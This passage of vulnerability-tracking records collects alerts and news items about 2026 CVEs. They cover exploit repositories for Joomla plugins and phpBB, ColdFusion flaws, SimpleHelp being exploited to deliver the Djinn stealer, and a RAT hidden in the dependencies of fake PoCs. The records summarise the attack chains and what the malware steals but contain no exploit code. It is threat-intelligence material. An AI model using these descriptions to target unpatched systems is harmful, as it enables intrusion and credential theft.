"45c61cff-e780-4e3d-9492-751a2a982334", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48907", "type": "seen", "source": "https://t.me/GithubRedTeam/90816", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-48907\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a grayxploit\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-06-27 09:56:58\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-48907 is a CVSS 10.0 pre-auth RCE in Joomla Content Editor affecting all versions \u2264 2.9.99.4. The Grayxploit team breaks down the 3-weakness chain \u2014 missing auth, no extension validation, and an unsafe upload flag \u2014 that lets attackers pop a shell in 3 HTTP requests.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-13T22:00:18.101413Z"}, {"uuid": "b44aef4e-89c9-4ffd-8aa0-99e1bf9e7ea5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48611", "type": "seen", "source": "https://t.me/GithubRedTeam/89613", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #Exploit\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-48611-EXPLOIT\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a Diznev\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Unknown\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-06-19 10:37:23\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-48611- authentication bypass in phpBB\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-13T22:00:22.894918Z"}, {"uuid": "3a0adf88-d75e-4131-92f4-1eef03aa283c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48908", "type": "seen", "source": "https://t.me/GithubRedTeam/90380", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-48908-SP-Page-Builder-Joomla\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a gagaltotal\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Unknown\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-06-24 08:32:43\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-48908 - SP Page Builder Joomla Unauthenticated RCE \n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-13T22:00:19.598846Z"}, {"uuid": "f0ed3b88-560a-472d-b6f2-06a9efd96196", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48908", "type": "seen", "source": "https://t.me/GithubRedTeam/90079", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC #Exploit #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-48908-PoC\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a papageo75\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-06-22 09:40:36\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nUnauthenticated RCE PoC for CVE-2026-48908 \u2014 SP Page Builder for Joomla (\u2264 6.6.1): arbitrary file upload via asset.uploadCustomIcon. Self-cleaning, token-guarded. Authorized testing only.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-13T22:00:21.524563Z"}, {"uuid": "a24fef1f-408a-413f-86f1-5e38dd393c61", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48364", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mqkp75gusk2l", "content": "CVE-2026-48364 - ColdFusion | Uncontrolled Search Path Element (CWE-427)\nCVE ID : CVE-2026-48364\n \n Published : July 13, 2026, 9:16 p.m. | 13\u00a0minutes ago\n \n Description : ColdFusion versions 2025.9, 2023.20 and earlier are affected by an Uncontrolled Search Path Element vulner...", "creation_timestamp": "2026-07-13T22:05:36.920656Z"}, {"uuid": "3423eabb-b3ef-4a85-a041-543fedcac74c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48849", "type": "seen", "source": "https://t.me/GithubRedTeam/88901", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #XSS #CVE #Stored\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-48849-Roundcube-Webmail-Stored-XSS\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a AnandJogawade\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Unknown\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-06-15 07:00:20\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nThis repository documents CVE-2026-48849, a Stored Cross-Site Scripting (XSS), HTML Injection, and CSS Injection vulnerability discovered in Roundcube Webmai\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-13T22:00:42.646651Z"}, {"uuid": "a696c806-05b2-47e5-878f-d5b4487023f7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48364", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mqkowz65vj2m", "content": "\ud83d\udfe0 CVE-2026-48364 - High (8.2)\n\nColdFusion versions 2025.9, 2023.20 and earlier are affected by an Uncontrolled Search Path Eleme...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-48364/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-07-13T22:01:04.921478Z"}, {"uuid": "e0d129bf-3dc6-4e55-8fc4-c91304abfe2d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48558", "type": "seen", "source": "https://t.me/BleepingComputer/24994", "content": "\u200aCritical SimpleHelp flaw exploited to deploy new stealer malware\n\nHackers are exploiting a recently disclosed critical vulnerability (CVE-2026-48558) in SimpleHelp to deploy Djinn Stealer, a previously undocumented cross-platform information stealer targeting Windows, macOS, and Linux. [...]\n\nhttps://www.bleepingcomputer.com/news/security/hackers-exploit-critical-simplehelp-flaw-deploy-new-djinn-infostealer-taskweaver-malware/", "creation_timestamp": "2026-07-14T00:00:06.482696Z"}, {"uuid": "3833c39a-495b-4ab4-8d54-480856b197bb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48282", "type": "seen", "source": "https://t.me/BleepingComputer/25038", "content": "\u200aMax severity Adobe ColdFusion flaw now exploited in attacks\n\nAttackers are now exploiting a maximum-severity Adobe ColdFusion vulnerability tracked as CVE-2026-48282, the Canadian Center for Cyber Security (CCCS) warned on Thursday. [...]\n\nhttps://www.bleepingcomputer.com/news/security/max-severity-adobe-coldfusion-flaw-now-exploited-in-attacks/", "creation_timestamp": "2026-07-14T00:00:06.570868Z"}, {"uuid": "381a0fc4-48de-495c-8894-287db3605c53", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48763", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mstmiovjq32a", "content": "\ud83d\udfe0 CVE-2026-48763 - High (8.2)\n\nTypeBot is a chatbot builder tool. Versions prior to 3.17.0 expose a deprecated public upload end...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-48763/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-08-11T22:01:37.194710Z"}, {"uuid": "76fed16a-ff1d-4db8-bf36-8368560f84d2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48558", "type": "exploited", "source": "https://t.me/true_secator/8360", "content": "\u041d\u0435\u0434\u0430\u0432\u043d\u043e \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u041f\u041e \u0434\u043b\u044f \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u043c\u043e\u043d\u0438\u0442\u043e\u0440\u0438\u043d\u0433\u0430 \u0438 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f (RMM) SimpleHelp \u0431\u044b\u043b\u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0430 \u0434\u043b\u044f \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u041f\u041e \u0441 \u0446\u0435\u043b\u044c\u044e \u043e\u0431\u0445\u043e\u0434\u0430 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u043a\u0430\u043a\u00a0CVE-2026-48558 (CVSS 10) \u0438 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 OpenID Connect (OIDC) \u0432 SimpleHelp, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044f \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u043c\u0443 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043f\u043e\u043b\u043d\u043e\u0441\u0442\u044c\u044e \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0439 \u0441\u0435\u0441\u0441\u0438\u0438 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u043e\u0433\u043e \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u0430.\n\n\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0437\u0430\u043a\u043b\u044e\u0447\u0430\u0435\u0442\u0441\u044f \u0432 \u0442\u043e\u043c, \u0447\u0442\u043e \u043f\u0440\u0438 \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0435 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 OIDC \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u043d\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u043a\u0440\u0438\u043f\u0442\u043e\u0433\u0440\u0430\u0444\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u043f\u043e\u0434\u043f\u0438\u0441\u044c \u0442\u043e\u043a\u0435\u043d\u043e\u0432 \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438, \u0447\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043d\u0435\u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u043e\u043c\u0443 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u043e\u0442\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u043f\u043e\u0434\u0434\u0435\u043b\u044c\u043d\u044b\u0439 \u0442\u043e\u043a\u0435\u043d \u043f\u0440\u0438 \u0432\u0445\u043e\u0434\u0435 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0443.\n\n\u041f\u043e\u043b\u0443\u0447\u0438\u0432 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0441\u0435\u0440\u0432\u0435\u0440\u0443 SimpleHelp, \u0440\u0430\u0441\u043f\u043e\u043b\u043e\u0436\u0435\u043d\u043d\u043e\u043c\u0443 \u0432 \u0438\u043d\u0442\u0435\u0440\u043d\u0435\u0442\u0435, \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u043f\u0435\u0440\u0435\u0434\u0430\u0432\u0430\u0442\u044c \u0444\u0430\u0439\u043b\u044b \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u043d\u0430 \u0432\u0441\u0435\u0445 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445, \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u043c\u044b\u0445 \u0447\u0435\u0440\u0435\u0437 \u044d\u0442\u043e\u0442 \u0441\u0435\u0440\u0432\u0435\u0440.\n\n\u0412 \u0445\u043e\u0434\u0435 \u0430\u0442\u0430\u043a\u0438, \u0437\u0430\u043c\u0435\u0447\u0435\u043d\u043d\u043e\u0439 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c\u0438 Blackpoint, \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u0437\u043b\u043e\u0443\u043f\u043e\u0442\u0440\u0435\u0431\u0438\u043b \u044d\u0442\u0438\u043c \u0434\u043e\u0441\u0442\u0443\u043f\u043e\u043c \u0434\u043b\u044f \u0440\u0430\u0437\u0432\u0435\u0440\u0442\u044b\u0432\u0430\u043d\u0438\u044f \u0434\u0432\u0443\u0445 \u0441\u0435\u043c\u0435\u0439\u0441\u0442\u0432 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0445 \u041f\u041e: TaskWeaver, \u0437\u0430\u0433\u0440\u0443\u0437\u0447\u0438\u043a\u0430 Node.js, \u0438 Djinn Stealer, \u043a\u0440\u043e\u0441\u0441\u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u0435\u043d\u043d\u043e\u0433\u043e \u0441\u0442\u0438\u043b\u0435\u0440\u0430.\n\nTaskWeaver \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0441\u044f \u0434\u043b\u044f \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0438 \u0440\u0430\u0437\u0432\u0435\u0440\u0442\u044b\u0432\u0430\u043d\u0438\u044f JavaScript-\u043a\u043e\u0434\u0430, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u043b\u0441\u044f \u0441 \u043f\u043e\u043b\u043d\u044b\u043c \u0434\u043e\u0441\u0442\u0443\u043f\u043e\u043c \u043a Node.js. \u041f\u043e \u0434\u0430\u043d\u043d\u044b\u043c Blackpoint, \u0437\u0430\u0433\u0440\u0443\u0437\u0447\u0438\u043a \u0438\u043c\u0435\u0435\u0442 \u043f\u0440\u043e\u0441\u0442\u0443\u044e \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443 \u0438 \u043c\u043e\u0436\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u0434\u043b\u044f \u0440\u0430\u0437\u0432\u0435\u0440\u0442\u044b\u0432\u0430\u043d\u0438\u044f \u043b\u044e\u0431\u043e\u0433\u043e \u0437\u0430\u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430.\n\nDjinn \u0431\u044b\u043b \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0430\u043d \u0434\u043b\u044f \u043a\u0440\u0430\u0436\u0438 \u0441\u0435\u043a\u0440\u0435\u0442\u043e\u0432 \u0441 \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u043e\u0432 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u043e\u0432, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u043e\u0431\u043b\u0430\u0447\u043d\u044b\u0445 \u0441\u0435\u0440\u0432\u0438\u0441\u043e\u0432, SSH-\u043a\u043b\u044e\u0447\u0438, \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b, \u0442\u043e\u043a\u0435\u043d\u044b \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044f \u0432\u0435\u0440\u0441\u0438\u0439, \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044e \u0432 \u0440\u0435\u0435\u0441\u0442\u0440\u0435 \u043f\u0430\u043a\u0435\u0442\u043e\u0432, \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438, \u043a\u0440\u0438\u043f\u0442\u043e\u043a\u043e\u0448\u0435\u043b\u044c\u043a\u0438 \u0438 \u0434\u0430\u043d\u043d\u044b\u0435 \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u043e\u0432.\n\n\u0412 \u043f\u0435\u0440\u0432\u0443\u044e \u043e\u0447\u0435\u0440\u0435\u0434\u044c, \u044d\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0443\u0447\u0435\u0442\u043d\u044b\u043c \u0434\u0430\u043d\u043d\u044b\u043c \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0418\u0418, \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u044f \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0432\u043c\u0435\u0448\u0438\u0432\u0430\u0442\u044c\u0441\u044f \u0432 \u0440\u0430\u0431\u043e\u0442\u0443 \u0441\u0430\u043c\u0438\u0445 \u043a\u043e\u043d\u0432\u0435\u0439\u0435\u0440\u043e\u0432, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0441\u0442\u0440\u043e\u044f\u0442\u0441\u044f \u043f\u0440\u043e\u0435\u043a\u0442\u044b.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0431\u044b\u043b\u0430 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0430 \u0432 \u043a\u043e\u043d\u0446\u0435 \u043c\u0430\u044f \u0432 \u0432\u0435\u0440\u0441\u0438\u044f\u0445 SimpleHelp 5.5.16 \u0438 6.0 RC2. \u041e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u044f\u043c \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c \u0441\u0432\u043e\u0438 \u0440\u0430\u0437\u0432\u0435\u0440\u0442\u044b\u0432\u0430\u043d\u0438\u044f \u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u0436\u0443\u0440\u043d\u0430\u043b\u044b \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439 \u043d\u0430 \u043d\u0430\u043b\u0438\u0447\u0438\u0435 \u043d\u0435\u0437\u043d\u0430\u043a\u043e\u043c\u044b\u0445 \u0438\u043c\u0435\u043d \u0438 \u0430\u0434\u0440\u0435\u0441\u043e\u0432 \u044d\u043b\u0435\u043a\u0442\u0440\u043e\u043d\u043d\u043e\u0439 \u043f\u043e\u0447\u0442\u044b \u0434\u043b\u044f \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0438\u044f \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0445 \u0443\u0433\u0440\u043e\u0437 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438.\n\n\u041f\u043e\u0441\u043b\u0435 \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u0438 \u043e\u0442\u0447\u0435\u0442\u0430 Blackpoint, \u0430\u043c\u0435\u0440\u0438\u043a\u0430\u043d\u0441\u043a\u0430\u044f CISA \u0434\u043e\u0431\u0430\u0432\u0438\u043b\u043e CVE-2026-48558 \u0432 \u0441\u0432\u043e\u0439 \u043a\u0430\u0442\u0430\u043b\u043e\u0433 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0445 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u043c\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 KEV.", "creation_timestamp": "2026-07-14T00:00:46.129966Z"}, {"uuid": "7f447638-7386-4383-91b9-f68b7b884bf0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48908", "type": "published-proof-of-concept", "source": "https://t.me/true_secator/8369", "content": "\u041d\u0430 GitHub \u0431\u044b\u043b\u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u044b \u043c\u043d\u043e\u0433\u043e\u0447\u0438\u0441\u043b\u0435\u043d\u043d\u044b\u0435 PoC \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0439 \u041f\u041e, \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u044f\u044e\u0449\u0435\u0439 \u0442\u0440\u043e\u044f\u043d \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430 (RAT) \u043d\u0430 \u043e\u0441\u043d\u043e\u0432\u0435 Python \u043f\u043e\u0434 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0435\u043c ChocoPoC, \u0441\u043f\u043e\u0441\u043e\u0431\u043d\u044b\u0439 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0438 \u043a\u0440\u0430\u0441\u0442\u044c \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435.\n\n\u041f\u0440\u0435\u0434\u043f\u043e\u043b\u0430\u0433\u0430\u0435\u0442\u0441\u044f, \u0447\u0442\u043e \u044d\u0442\u0430 \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u044f \u0431\u044b\u043b\u0430 \u043d\u0430\u0446\u0435\u043b\u0435\u043d\u0430 \u043d\u0430 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439. \n\n\u0421\u043a\u0440\u044b\u0442\u0438\u0435 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u041f\u041e \u0432 PoC \u0434\u043b\u044f \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439\u00a0- \u0434\u0430\u043b\u0435\u043a\u043e \u043d\u0435 \u043d\u043e\u0432\u0430\u044f \u043f\u0440\u0430\u043a\u0442\u0438\u043a\u0430, \u043e\u0434\u043d\u0430\u043a\u043e ChocoPoC \u0432\u044b\u0434\u0435\u043b\u044f\u0435\u0442\u0441\u044f \u0442\u0435\u043c, \u0447\u0442\u043e \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0435 \u041f\u041e \u043d\u0435 \u0432\u0441\u0442\u0440\u0430\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u043d\u0435\u043f\u043e\u0441\u0440\u0435\u0434\u0441\u0442\u0432\u0435\u043d\u043d\u043e \u0432 \u0444\u0430\u0439\u043b \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u0430, \u0430 \u0434\u043e\u0431\u0430\u0432\u043b\u044f\u0435\u0442 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 \u043f\u0430\u043a\u0435\u0442\u044b Python \u0432 \u0441\u043f\u0438\u0441\u043e\u043a \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0435\u0439 PoC.\n\n\u041f\u043e \u0434\u0430\u043d\u043d\u044b\u043c Sekoia \u0438\u00a0YesWeHack, \u044d\u0442\u0438 \u043f\u0430\u043a\u0435\u0442\u044b \u0440\u0430\u0437\u043c\u0435\u0449\u0435\u043d\u044b \u043d\u0430 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u0435 Python Package Index (PyPI), \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u043e\u0439 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0430\u043c\u0438 Python \u0434\u043b\u044f \u043f\u043e\u0438\u0441\u043a\u0430 \u0438 \u043e\u0431\u043c\u0435\u043d\u0430 \u043a\u043e\u0434\u043e\u043c.\n\n\u041f\u043e\u0441\u043b\u0435 \u0442\u043e\u0433\u043e \u043a\u0430\u043a \u0436\u0435\u0440\u0442\u0432\u0430 \u043a\u043b\u043e\u043d\u0438\u0440\u0443\u0435\u0442 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0439, \u043d\u0430 \u0435\u0451 \u0441\u0438\u0441\u0442\u0435\u043c\u0443 